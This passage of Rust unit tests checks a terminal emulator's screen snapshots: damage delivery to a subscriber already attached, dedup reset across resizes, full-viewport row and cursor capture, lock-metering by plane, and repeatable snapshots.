shared.feed_fully(b"old");
let _ = shared.render(&mut incumbent);
// Rewrite row 0, then park the cursor on row 3. The incumbent is now owed
// row 0, which is not the row the cursor will re-damage for free.
shared.feed_fully(b"\x1b[1;1HAFTER\x1b[4;1H");
// A second subscriber attaches and snapshots first.
let mut attaching = Encoder::new();
let attached = shared.snapshot(&mut attaching);
assert_eq!(
visible_text(&attached),
vec!["AFTER"],
"the newcomer sees the whole screen"
);
// The incumbent must still be delivered row 0.
let follow_up = shared.render(&mut incumbent);
assert!(
follow_up.rows.iter().any(|row| row.line == 0),
"snapshot consumed the incumbent's damage: row 0 was never delivered, \
got rows {:?}",
follow_up.rows.iter().map(|r| r.line).collect::<Vec<_>>()
);
assert!(
visible_text(&follow_up).contains(&"AFTER".to_string()),
"the incumbent must still see the row written before the snapshot, got {:?}",
visible_text(&follow_up)
);
}
/// A snapshot stamps the geometry it was captured under and resets the
/// consumer's dedup state, so an encoder reused across a resize cannot carry
/// hashes describing rows of a different width.
#[test]
fn a_snapshot_realigns_a_reused_encoders_dedup_state() {
let (shared, _actions) = terminal(20, 4);
shared.feed_fully(b"wide enough line");
let mut encoder = Encoder::new();
let before = shared.snapshot(&mut encoder);
assert_eq!(before.viewport.columns, 20);
let first_generation = before.viewport.generation;
let resized = shared.resize(Size {
columns: 10,
screen_lines: 4,
scrollback: 100,
});
assert_eq!(resized.columns, 10);
assert!(
resized.generation > first_generation,
"an applied resize advances the generation"
);
// Same encoder, new geometry: every row must be re-sent, not suppressed
// as unchanged against hashes taken at the old width.
let after = shared.snapshot(&mut encoder);
assert_eq!(
after.viewport.columns, 10,
"the capture-time grid is stamped"
);
// Columns alone does not identify a grid. `Viewport`'s own doc says the
// three fields travel together *because* a consumer comparing two of the
// three can be wrong -- and this fixture used to compare one. A resize
// that changed only `screen_lines`, or 20 -> 10 -> 20, leaves columns
// matching while the generation has moved. `resize.rs` asserts this on
// `render()` frames five times and never once on a snapshot, which is
// what Sami's T3 mutant walked through; Mari's reattach reads this stamp.
assert_eq!(
after.viewport, resized,
"a snapshot stamps the identity of the grid it actually captured"
);
assert!(after.full, "a snapshot is a repaint");
assert!(
!after.rows.is_empty(),
"stale hashes must not suppress rows after a resize"
);
}
/// A snapshot carries *every* row of the viewport, including the last one,
/// and stamps the cursor plane truthfully.
///
/// Both properties are asserted here rather than in the fixtures above
/// because of what those fixtures' helper hides: `visible_text` trims and
/// drops empty lines, so a capture that skipped the bottom row of the screen
/// reads identically to one that didn't whenever the content sits in the top
/// rows -- which it does in every other fixture in this file. Sami's T2
/// mutant (`0..screen_lines - 1`) survived all four for exactly that reason.
/// So this fixture puts content on the last row and asserts the row *set*,
/// not the text.
///
/// The cursor half is the same shape of gap: nothing checked that a snapshot's
/// cursor was the terminal's cursor rather than a plausible default.
#[test]
fn a_snapshot_carries_every_row_and_the_true_cursor() {
let (shared, _actions) = terminal(20, 4);
// Write the bottom row of the screen, then park the cursor at line 4,
// column 6 (1-based) -- row 3, column 5 to us.
shared.feed_fully(b"\x1b[4;1Hbottom\x1b[4;6H");
let mut attaching = Encoder::new();
let frame = shared.snapshot(&mut attaching);
let lines: Vec<usize> = frame.rows.iter().map(|row| row.line).collect();
assert_eq!(
lines,
vec![0, 1, 2, 3],
"a snapshot must carry the whole viewport, last row included"
);
assert!(
visible_text(&frame).contains(&"bottom".to_string()),
"content on the last row must reach an attaching subscriber, got {:?}",
visible_text(&frame)
);
assert_eq!(frame.cursor.line, 3, "the snapshot's cursor line is real");
assert_eq!(
frame.cursor.column, 5,
"the snapshot's cursor column is real"
);
assert!(frame.cursor.visible, "the cursor is shown by default");
// ...and a hidden cursor is reported hidden, so `visible` tracks the mode
// rather than being a constant that happens to match the default.
shared.feed_fully(b"\x1b[?25l");
let mut second = Encoder::new();
assert!(
!shared.snapshot(&mut second).cursor.visible,
"DECTCEM off must reach the attaching subscriber"
);
}
/// Taking a snapshot is billed to the renderer plane.
///
/// The two planes are metered separately because pooling them lets the
/// reader's millions of fast acquires dilute the renderer's tail into a false
/// pass (`shared.rs` module docs). A full-grid copy is the single most
/// expensive thing that takes this lock, so misfiling it under the reader
/// would corrupt the very instrument the renderer's budget is judged by --
/// and no fixture noticed until Sami's T4.
#[test]
fn a_snapshot_is_billed_to_the_renderer_plane() {
let (shared, _actions) = terminal(20, 4);
shared.feed_fully(b"content");
shared.reader_acquire().reset();
shared.renderer_acquire().reset();
let mut attaching = Encoder::new();
let _ = shared.snapshot(&mut attaching);
assert_eq!(
shared.renderer_acquire().snapshot().acquisitions,
1,
"the snapshot's lock acquisition belongs to the renderer plane"
);
assert_eq!(
shared.reader_acquire().snapshot().acquisitions,
0,
"a full-grid copy must not be charged to the reader plane"
);
}
/// Two consecutive snapshots with no output between them still both carry the
/// screen. A snapshot is not a one-shot: reattach may happen repeatedly, and
/// nothing about the first may disarm the second.
#[test]
fn snapshots_are_repeatable() {
let (shared, _actions) = terminal(20, 4);
shared.feed_fully(b"persistent");
let mut first = Encoder::new();
let mut second = Encoder::new();
assert_eq!(
visible_text(&shared.snapshot(&mut first)),
vec!["persistent"]
);
assert_eq!(
visible_text(&shared.snapshot(&mut second)),
vec!["persistent"],
"a second subscriber attaching later must see the same screen"
);
}